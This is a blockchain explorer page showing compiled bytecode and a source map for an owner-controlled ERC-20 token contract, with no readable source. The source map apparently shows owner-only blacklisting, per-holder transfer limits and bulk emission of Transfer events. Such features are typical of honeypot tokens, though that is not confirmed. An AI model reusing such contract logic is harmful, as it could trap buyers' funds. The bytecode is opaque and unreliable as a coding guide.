600090815260086020526040902054811115610c6e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016103e3565b6001600160a01b038216600090815260086020526040902054610c919082610b7f565b6001600160a01b03831660009081526008602052604081209190915554610cb89082610b7f565b60009081556040518281526001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600080610d0c83856113e3565b90508381101561085f5761085f6113f6565b610d29838383610d8f565b50505050565b6001600160a01b03811660009081526007602052604081205460ff16158015610d6657506001546001600160a01b03838116911614155b15610d87576001600160a01b03821660009081526009602052604090204390555b506001919050565b6000826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610dd691815260200190565b60405180910390a35060019392505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03821660009081526007602052604081205482151560ff909116151503610e6757600080fd5b6001600160a01b038316600081815260076020908152604091829020805460ff191686151590811790915591519182527f5a25e09a5dba33161281055e015f1279b6b10204d8f90dd56a8ce2b82322d43d910160405180910390a250600192915050565b6001600160a01b03821660009081526008602052604081205461085f90835b600061085f82846113e3565b600060208083528351808285015260005b81811015610f2357858101830151858201604001528201610f07565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146103f857600080fd5b60008060408385031215610f6e57600080fd5b610f7783610f44565b946020939093013593505050565b600060208284031215610f9757600080fd5b61085f82610f44565b600080600060608486031215610fb557600080fd5b610fbe84610f44565b9250610fcc60208501610f44565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561101b5761101b610fdc565b604052919050565b600067ffffffffffffffff82111561103d5761103d610fdc565b5060051b60200190565b600082601f83011261105857600080fd5b8135602061106d61106883611023565b610ff2565b82815260059290921b8401810191818101908684111561108c57600080fd5b8286015b848110156110a75780358352918301918301611090565b509695505050505050565b600080600080608085870312156110c857600080fd5b843567ffffffffffffffff808211156110e057600080fd5b818701915087601f8301126110f457600080fd5b8135602061110461106883611023565b82815260059290921b8401810191818101908b84111561112357600080fd5b948201945b838610156111485761113986610f44565b82529482019490820190611128565b9850508801359250508082111561115e57600080fd5b61116a88838901611047565b9450604087013591508082111561118057600080fd5b5061118d87828801611047565b92505061119c60608601610f44565b905092959194509250565b6000806000606084860312156111bc57600080fd5b6111c584610f44565b95602085013595506040909401359392505050565b80151581146111e857600080fd5b50565b600080604083850312156111fe57600080fd5b61120783610f44565b91506020830135611217816111da565b809150509250929050565b6000806040838503121561123557600080fd5b61123e83610f44565b915061124c60208401610f44565b90509250929050565b6000806000806060858703121561126b57600080fd5b843567ffffffffffffffff8082111561128357600080fd5b818701915087601f83011261129757600080fd5b8135818111156112a657600080fd5b8860208260051b85010111156112bb57600080fd5b6020928301999098509187013596604001359550909350505050565b600181811c908216806112eb57607f821691505b60208210810361130b57634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526017908201527f43616c6c6572206973206e6f7420746865204f776e6572000000000000000000604082015260600190565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176103b0576103b0611348565b60008261139257634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156113bf57600080fd5b815161085f816111da565b6000600182016113dc576113dc611348565b5060010190565b808201808211156103b0576103b0611348565b634e487b7160e01b600052600160045260246000fd5b818103818111156103b0576103b061134856fea2646970667358221220fbcc6792266a3b8179441471d3dedd05e2ae06efdc8ac43692d5b52f7d42403a64736f6c63430008120033

Deployed Bytecode Sourcemap

8731:490:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2036:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5864:206;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;5864:206:0;1004:187:1;1860:26:0;;;;;-1:-1:-1;;;;;1860:26:0;;;;;;-1:-1:-1;;;;;1360:32:1;;;1342:51;;1330:2;1315:18;1860:26:0;1196:203:1;7155:125:0;;;;;;:::i;:::-;;:::i;1825:26::-;;;;;;;;;1741:25:1;;;1729:2;1714:18;1825:26:0;1595:177:1;3751:863:0;;;;;;:::i;:::-;;:::i;2088:20::-;;;;;;8222:498;;;;;;:::i;:::-;;:::i;7903:311::-;;;;;;:::i;:::-;;:::i;:::-;;1979:48;;2026:1;1979:48;;3628:115;;;;;;:::i;:::-;-1:-1:-1;;;;;3719:16:0;3684:15;3719:16;;;:8;:16;;;;;;;3628:115;1489:87;;;:::i;1029:20::-;;;;;-1:-1:-1;;;;;1029:20:0;;;2061;;;:::i;7288:171::-;;;;;;:::i;:::-;;:::i;2804:814::-;;;;;;:::i;:::-;;:::i;6080:134::-;;;;;;:::i;:::-;-1:-1:-1;;;;;6181:15:0;;;6154:7;6181:15;;;:7;:15;;;;;;;;:25;;;;;;;;;;;;;6080:134;7467:428;;;;;;:::i;:::-;;:::i;2036:18::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5864:206::-;5956:10;5931:4;5948:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;5948:29:0;;;;;;;;;;:38;;;6002;5931:4;;5948:29;;6002:38;;;;5980:6;1741:25:1;;1729:2;1714:18;;1595:177;6002:38:0;;;;;;;;-1:-1:-1;6058:4:0;5864:206;;;;;:::o;7155:125::-;1413:6;;7217:12;;-1:-1:-1;;;;;1413:6:0;1423:10;1413:20;1405:56;;;;-1:-1:-1;;;1405:56:0;;;;;;;:::i;:::-;;;;;;;;;7249:23:::1;7265:6;7249:15;:23::i;:::-;7242:30;;1472:1;7155:125:::0;;;:::o;3751:863::-;3833:4;3865:5;-1:-1:-1;;;;;3858:12:0;:3;-1:-1:-1;;;;;3858:12:0;;3850:21;;;;;;-1:-1:-1;;;;;3890:17:0;;3882:26;;;;;;-1:-1:-1;;;;;3937:15:0;;;;;;:8;:15;;;;;;3927:25;;;3919:34;;;;;;-1:-1:-1;;;;;3982:14:0;;;;;;:7;:14;;;;;;;;3997:10;3982:26;;;;;;;;3972:36;;;3964:45;;;;;;4020:19;4029:5;4035:3;4020:8;:19::i;:::-;-1:-1:-1;;;;;5103:24:0;;4050:18;5103:24;;;:17;:24;;;;;;5131:12;5103:40;4081:166;;4179:3;4147:29;2026:1;4147:6;:29;:::i;:::-;:35;;;;:::i;:::-;4134:48;;4081:166;4264:22;:6;4275:10;4264;:22::i;:::-;4257:29;;4297:23;4303:5;4309:10;4297:5;:23::i;:::-;-1:-1:-1;;;;;4349:15:0;;;;;;:8;:15;;;;;;:27;;4369:6;4349:19;:27::i;:::-;-1:-1:-1;;;;;4331:15:0;;;;;;;:8;:15;;;;;;:45;;;;4407:13;;;;;;;:25;;4425:6;4407:17;:25::i;:::-;-1:-1:-1;;;;;4391:13:0;;;;;;;:8;:13;;;;;;;;:41;;;;4472:14;;;;;:7;:14;;;;;4487:10;4472:26;;;;;;;:38;;4503:6;4472:30;:38::i;:::-;-1:-1:-1;;;;;4443:14:0;;;;;;:7;:14;;;;;;;;4458:10;4443:26;;;;;;;:67;4521:33;4451:5;4542:3;4547:6;4521:13;:33::i;:::-;4565:19;4580:3;4565:14;:19::i;:::-;-1:-1:-1;4602:4:0;;3751:863;-1:-1:-1;;;;;3751:863:0:o;8222:498::-;1413:6;;8432:4;;-1:-1:-1;;;;;1413:6:0;1423:10;1413:20;1405:56;;;;-1:-1:-1;;;1405:56:0;;;;;;;:::i;:::-;8458:9:::1;8453:236;8477:11;:18;8473:1;:22;8453:236;;;8533:11;::::0;8546:14;;8521:53:::1;::::0;-1:-1:-1;;;;;8533:11:0::1;::::0;8546;;8558:1;;8546:14;::::1;;;;;:::i;:::-;;;;;;;8562:8;8571:1;8562:11;;;;;;;;:::i;:::-;;;;;;;8521;:53::i;:::-;;8607:13;-1:-1:-1::0;;;;;8593:38:0::1;;8632:11;8644:1;8632:14;;;;;;;;:::i;:::-;;;;;;;8648:11;;;;;;;;;-1:-1:-1::0;;;;;8648:11:0::1;8661:8;8670:1;8661:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;8593:80:::1;::::0;-1:-1:-1;;;;;;8593:80:0::1;::::0;;;;;;-1:-1:-1;;;;;8280:15:1;;;8593:80:0::1;::::0;::::1;8262:34:1::0;8332:15;;;;8312:18;;;8305:43;8364:18;;;8357:34;8197:18;;8593:80:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;8497:3:0;::::1;::::0;::::1;:::i;:::-;;;;8453:236;;7903:311:::0;1413:6;;-1:-1:-1;;;;;1413:6:0;1423:10;1413:20;1405:56;;;;-1:-1:-1;;;1405:56:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8051:19:0;::::1;;::::0;;;:12:::1;:19;::::0;;;;;:22;8043:31:::1;;;::::0;::::1;;-1:-1:-1::0;;;;;8089:15:0;::::1;;::::0;;;:8:::1;:15;::::0;;;;;:37;-1:-1:-1;8085:120:0::1;;;8165:28;8185:8:::0;8165:19;:28:::1;:::i;:::-;-1:-1:-1::0;;;;;8143:19:0;::::1;;::::0;;;:12:::1;:19;::::0;;;;:50;8085:120:::1;7903:311:::0;;;:::o;1489:87::-;1298:5;;-1:-1:-1;;;;;1298:5:0;1307:10;1298:19;1290:55;;;;-1:-1:-1;;;1290:55:0;;9124:2:1;1290:55:0;;;9106:21:1;9163:2;9143:18;;;9136:30;9202:25;9182:18;;;9175:53;9245:18;;1290:55:0;8922:347:1;1290:55:0;1547:21:::1;1565:1;1547:9;:21::i;:::-;1489:87::o:0;2061:20::-;;;;;;;:::i;7288:171::-;1413:6;;7374:12;;-1:-1:-1;;;;;1413:6:0;1423:10;1413:20;1405:56;;;;-1:-1:-1;;;1405:56:0;;;;;;;:::i;:::-;7406:45:::1;7423:11;7436:14;7406:16;:45::i;:::-;7399:52:::0;7288:171;-1:-1:-1;;;7288:171:0:o;2804:814::-;2867:4;-1:-1:-1;;;;;2892:17:0;;2884:26;;;;;;2936:10;-1:-1:-1;;;;;2929:17:0;;;2921:26;;;;;;2985:10;2976:20;;;;:8;:20;;;;;;2966:30;;;2958:39;;;;;;3008:24;3017:10;3028:3;3008:8;:24::i;:::-;3100:10;3043:18;5103:24;;;:17;:24;;;;;;5131:12;5103:40;3074:171;;3177:3;3145:29;2026:1;3145:6;:29;:::i;:::-;:35;;;;:::i;:::-;3132:48;;3074:171;3262:22;:6;3273:10;3262;:22::i;:::-;3255:29;;3295:28;3301:10;3312;3295:5;:28::i;:::-;3366:10;3357:20;;;;:8;:20;;;;;;:32;;3382:6;3357:24;:32::i;:::-;3343:10;3334:20;;;;:8;:20;;;;;;:55;;;;-1:-1:-1;;;;;3484:13:0;;;;;;:25;;3502:6;3484:17;:25::i;:::-;-1:-1:-1;;;;;3468:13:0;;;;;;:8;:13;;;;;:41;3520:38;3534:10;3477:3;3551:6;3520:13;:38::i;:::-;3569:19;3584:3;3569:14;:19::i;:::-;-1:-1:-1;3606:4:0;;2804:814;-1:-1:-1;;;;2804:814:0:o;7467:428::-;1413:6;;-1:-1:-1;;;;;1413:6:0;1423:10;1413:20;1405:56;;;;-1:-1:-1;;;1405:56:0;;;;;;;:::i;:::-;7628:9:::1;7623:265;7643:17:::0;;::::1;7623:265;;;7708:19;7686:8;:19;7695:6;;7702:1;7695:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7686:19:0::1;-1:-1:-1::0;;;;;7686:19:0::1;;;;;;;;;;;;;:41;7682:195;;;7748:20;7771:33;7784:6;;7791:1;7784:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;7795:8;7771:12;:33::i;:::-;7748:56;;7849:12;7823;:23;7836:6;;7843:1;7836:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7823:23:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;7823:23:0;:38;-1:-1:-1;7682:195:0::1;7662:3:::0;::::1;::::0;::::1;:::i;:::-;;;;7623:265;;;;7467:428:::0;;;;:::o;6394:148::-;6469:11;;6444:4;;-1:-1:-1;;;;;6469:16:0;;;:11;;:16;6461:25;;;;;;-1:-1:-1;6497:11:0;:15;;-1:-1:-1;;;;;;6497:15:0;-1:-1:-1;;;;;6497:15:0;;;;;;;;;;:11;6394:148::o;4622:238::-;-1:-1:-1;;;;;4698:21:0;;;;;;:14;:21;;;;;;;;4697:22;:44;;;;-1:-1:-1;;;;;;4722:19:0;;;;;;:14;:19;;;;;;;;4721:20;4697:44;:69;;;;-1:-1:-1;;;;;;4743:19:0;;4765:1;4743:19;;;:12;:19;;;;;;:23;;4697:69;4693:160;;;-1:-1:-1;;;;;4798:19:0;;;;;;:12;:19;;;;;;;;;4819:8;:15;;;;;;;4791:44;;4798:19;4791:6;:44::i;:::-;:49;4783:58;;;;;;4622:238;;:::o;604:123::-;662:7;694:1;689;:6;;682:14;;;;:::i;:::-;714:5;718:1;714;:5;:::i;5375:477::-;-1:-1:-1;;;;;5459:21:0;;5451:67;;;;-1:-1:-1;;;5451:67:0;;9741:2:1;5451:67:0;;;9723:21:1;9780:2;9760:18;;;9753:30;9819:34;9799:18;;;9792:62;-1:-1:-1;;;9870:18:1;;;9863:31;9911:19;;5451:67:0;9539:397:1;5451:67:0;-1:-1:-1;;;;;5537:17:0;;;;;;:8;:17;;;;;;:27;-1:-1:-1;5537:27:0;5529:74;;;;-1:-1:-1;;;5529:74:0;;10143:2:1;5529:74:0;;;10125:21:1;10182:2;10162:18;;;10155:30;10221:34;10201:18;;;10194:62;-1:-1:-1;;;10272:18:1;;;10265:32;10314:19;;5529:74:0;9941:398:1;5529:74:0;-1:-1:-1;;;;;5634:17:0;;;;;;:8;:17;;;;;;:29;;5656:6;5634:21;:29::i;:::-;-1:-1:-1;;;;;5614:17:0;;;;;;:8;:17;;;;;:49;;;;5763:11;:24;;5780:6;5763:15;:24::i;:::-;5750:11;:37;;;5807;;1741:25:1;;;-1:-1:-1;;;;;5807:37:0;;;;;1729:2:1;1714:18;5807:37:0;;;;;;;5375:477;;:::o;735:147::-;793:7;;825:5;829:1;825;:5;:::i;:::-;813:17;;853:1;848;:6;;841:14;;;;:::i;4868:133::-;4958:31;4970:5;4977:3;4982:6;4958:11;:31::i;:::-;;4868:133;;;:::o;5159:206::-;-1:-1:-1;;;;;5234:19:0;;5213:4;5234:19;;;:14;:19;;;;;;;;5233:20;:38;;;;-1:-1:-1;5260:11:0;;-1:-1:-1;;;;;5255:16:0;;;5260:11;;5255:16;;5233:38;5230:106;;;-1:-1:-1;;;;;5287:22:0;;;;;;:17;:22;;;;;5312:12;5287:37;;5230:106;-1:-1:-1;5353:4:0;;5159:206;-1:-1:-1;5159:206:0:o;6224:158::-;6303:4;6341:2;-1:-1:-1;;;;;6325:27:0;6334:5;-1:-1:-1;;;;;6325:27:0;;6345:6;6325:27;;;;1741:25:1;;1729:2;1714:18;;1595:177;6325:27:0;;;;;;;;-1:-1:-1;6370:4:0;6224:158;;;;;:::o;1584:171::-;1659:5;;;-1:-1:-1;;;;;1675:16:0;;;-1:-1:-1;;;;;;1675:16:0;;;;;;;1707:40;;1659:5;;;1675:16;1659:5;;1707:40;;1640:16;;1707:40;1629:126;1584:171;:::o;6552:278::-;-1:-1:-1;;;;;6654:24:0;;6629:4;6654:24;;;:14;:24;;;;;;:42;;;:24;;;;:42;;;6646:51;;;;;;-1:-1:-1;;;;;6708:24:0;;;;;;:14;:24;;;;;;;;;:41;;-1:-1:-1;;6708:41:0;;;;;;;;;;6765:35;;1144:41:1;;;6765:35:0;;1117:18:1;6765:35:0;;;;;;;-1:-1:-1;6818:4:0;6552:278;;;;:::o;6838:146::-;-1:-1:-1;;;;;6950:15:0;;6916:7;6950:15;;;:8;:15;;;;;;6943:33;;6967:8;6992:101;7053:7;7080:5;7084:1;7080;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;745:254;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1404:186::-;1463:6;1516:2;1504:9;1495:7;1491:23;1487:32;1484:52;;;1532:1;1529;1522:12;1484:52;1555:29;1574:9;1555:29;:::i;1777:328::-;1854:6;1862;1870;1923:2;1911:9;1902:7;1898:23;1894:32;1891:52;;;1939:1;1936;1929:12;1891:52;1962:29;1981:9;1962:29;:::i;:::-;1952:39;;2010:38;2044:2;2033:9;2029:18;2010:38;:::i;:::-;2000:48;;2095:2;2084:9;2080:18;2067:32;2057:42;;1777:328;;;;;:::o;2110:127::-;2171:10;2166:3;2162:20;2159:1;2152:31;2202:4;2199:1;2192:15;2226:4;2223:1;2216:15;2242:275;2313:2;2307:9;2378:2;2359:13;;-1:-1:-1;;2355:27:1;2343:40;;2413:18;2398:34;;2434:22;;;2395:62;2392:88;;;2460:18;;:::i;:::-;2496:2;2489:22;2242:275;;-1:-1:-1;2242:275:1:o;2522:183::-;2582:4;2615:18;2607:6;2604:30;2601:56;;;2637:18;;:::i;:::-;-1:-1:-1;2682:1:1;2678:14;2694:4;2674:25;;2522:183::o;2710:662::-;2764:5;2817:3;2810:4;2802:6;2798:17;2794:27;2784:55;;2835:1;2832;2825:12;2784:55;2871:6;2858:20;2897:4;2921:60;2937:43;2977:2;2937:43;:::i;:::-;2921:60;:::i;:::-;3015:15;;;3101:1;3097:10;;;;3085:23;;3081:32;;;3046:12;;;;3125:15;;;3122:35;;;3153:1;3150;3143:12;3122:35;3189:2;3181:6;3177:15;3201:142;3217:6;3212:3;3209:15;3201:142;;;3283:17;;3271:30;;3321:12;;;;3234;;3201:142;;;-1:-1:-1;3361:5:1;2710:662;-1:-1:-1;;;;;;2710:662:1:o;3377:1447::-;3538:6;3546;3554;3562;3615:3;3603:9;3594:7;3590:23;3586:33;3583:53;;;3632:1;3629;3622:12;3583:53;3672:9;3659:23;3701:18;3742:2;3734:6;3731:14;3728:34;;;3758:1;3755;3748:12;3728:34;3796:6;3785:9;3781:22;3771:32;;3841:7;3834:4;3830:2;3826:13;3822:27;3812:55;;3863:1;3860;3853:12;3812:55;3899:2;3886:16;3921:4;3945:60;3961:43;4001:2;3961:43;:::i;3945:60::-;4039:15;;;4121:1;4117:10;;;;4109:19;;4105:28;;;4070:12;;;;4145:19;;;4142:39;;;4177:1;4174;4167:12;4142:39;4201:11;;;;4221:148;4237:6;4232:3;4229:15;4221:148;;;4303:23;4322:3;4303:23;:::i;:::-;4291:36;;4254:12;;;;4347;;;;4221:148;;;4388:5;-1:-1:-1;;4431:18:1;;4418:32;;-1:-1:-1;;4462:16:1;;;4459:36;;;4491:1;4488;4481:12;4459:36;4514:63;4569:7;4558:8;4547:9;4543:24;4514:63;:::i;:::-;4504:73;;4630:2;4619:9;4615:18;4602:32;4586:48;;4659:2;4649:8;4646:16;4643:36;;;4675:1;4672;4665:12;4643:36;;4698:63;4753:7;4742:8;4731:9;4727:24;4698:63;:::i;:::-;4688:73;;;4780:38;4814:2;4803:9;4799:18;4780:38;:::i;:::-;4770:48;;3377:1447;;;;;;;:::o;4829:322::-;4906:6;4914;4922;4975:2;4963:9;4954:7;4950:23;4946:32;4943:52;;;4991:1;4988;4981:12;4943:52;5014:29;5033:9;5014:29;:::i;:::-;5004:39;5090:2;5075:18;;5062:32;;-1:-1:-1;5141:2:1;5126:18;;;5113:32;;4829:322;-1:-1:-1;;;4829:322:1:o;5156:118::-;5242:5;5235:13;5228:21;5221:5;5218:32;5208:60;;5264:1;5261;5254:12;5208:60;5156:118;:::o;5279:315::-;5344:6;5352;5405:2;5393:9;5384:7;5380:23;5376:32;5373:52;;;5421:1;5418;5411:12;5373:52;5444:29;5463:9;5444:29;:::i;:::-;5434:39;;5523:2;5512:9;5508:18;5495:32;5536:28;5558:5;5536:28;:::i;:::-;5583:5;5573:15;;;5279:315;;;;;:::o;5599:260::-;5667:6;5675;5728:2;5716:9;5707:7;5703:23;5699:32;5696:52;;;5744:1;5741;5734:12;5696:52;5767:29;5786:9;5767:29;:::i;:::-;5757:39;;5815:38;5849:2;5838:9;5834:18;5815:38;:::i;:::-;5805:48;;5599:260;;;;;:::o;5864:757::-;5968:6;5976;5984;5992;6045:2;6033:9;6024:7;6020:23;6016:32;6013:52;;;6061:1;6058;6051:12;6013:52;6101:9;6088:23;6130:18;6171:2;6163:6;6160:14;6157:34;;;6187:1;6184;6177:12;6157:34;6225:6;6214:9;6210:22;6200:32;;6270:7;6263:4;6259:2;6255:13;6251:27;6241:55;;6292:1;6289;6282:12;6241:55;6332:2;6319:16;6358:2;6350:6;6347:14;6344:34;;;6374:1;6371;6364:12;6344:34;6429:7;6422:4;6412:6;6409:1;6405:14;6401:2;6397:23;6393:34;6390:47;6387:67;;;6450:1;6447;6440:12;6387:67;6481:4;6473:13;;;;6505:6;;-1:-1:-1;6543:20:1;;;6530:34;;6611:2;6596:18;6583:32;;-1:-1:-1;5864:757:1;;-1:-1:-1;;;;5864:757:1:o;6626:380::-;6705:1;6701:12;;;;6748;;;6769:61;;6823:4;6815:6;6811:17;6801:27;;6769:61;6876:2;6868:6;6865:14;6845:18;6842:38;6839:161;;6922:10;6917:3;6913:20;6910:1;6903:31;6957:4;6954:1;6947:15;6985:4;6982:1;6975:15;6839:161;;6626:380;;;:::o;7011:347::-;7213:2;7195:21;;;7252:2;7232:18;;;7225:30;7291:25;7286:2;7271:18;;7264:53;7349:2;7334:18;;7011:347::o;7363:127::-;7424:10;7419:3;7415:20;7412:1;7405:31;7455:4;7452:1;7445:15;7479:4;7476:1;7469:15;7495:168;7568:9;;;7599;;7616:15;;;7610:22;;7596:37;7586:71;;7637:18;;:::i;7668:217::-;7708:1;7734;7724:132;;7778:10;7773:3;7769:20;7766:1;7759:31;7813:4;7810:1;7803:15;7841:4;7838:1;7831:15;7724:132;-1:-1:-1;7870:9:1;;7668:217::o;7890:127::-;7951:10;7946:3;7942:20;7939:1;7932:31;7982:4;7979:1;7972:15;8006:4;8003:1;7996:15;8402:245;8469:6;8522:2;8510:9;8501:7;8497:23;8493:32;8490:52;;;8538:1;8535;8528:12;8490:52;8570:9;8564:16;8589:28;8611:5;8589:28;:::i;8652:135::-;8691:3;8712:17;;;8709:43;;8732:18;;:::i;:::-;-1:-1:-1;8779:1:1;8768:13;;8652:135::o;8792:125::-;8857:9;;;8878:10;;;8875:36;;;8891:18;;:::i;9274:127::-;9335:10;9330:3;9326:20;9323:1;9316:31;9366:4;9363:1;9356:15;9390:4;9387:1;9380:15;9406:128;9473:9;;;9494:11;;;9491:37;;;9508:18;;:::i

Swarm Source

ipfs://fbcc6792266a3b8179441471d3dedd05e2ae06efdc8ac43692d5b52f7d42403a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.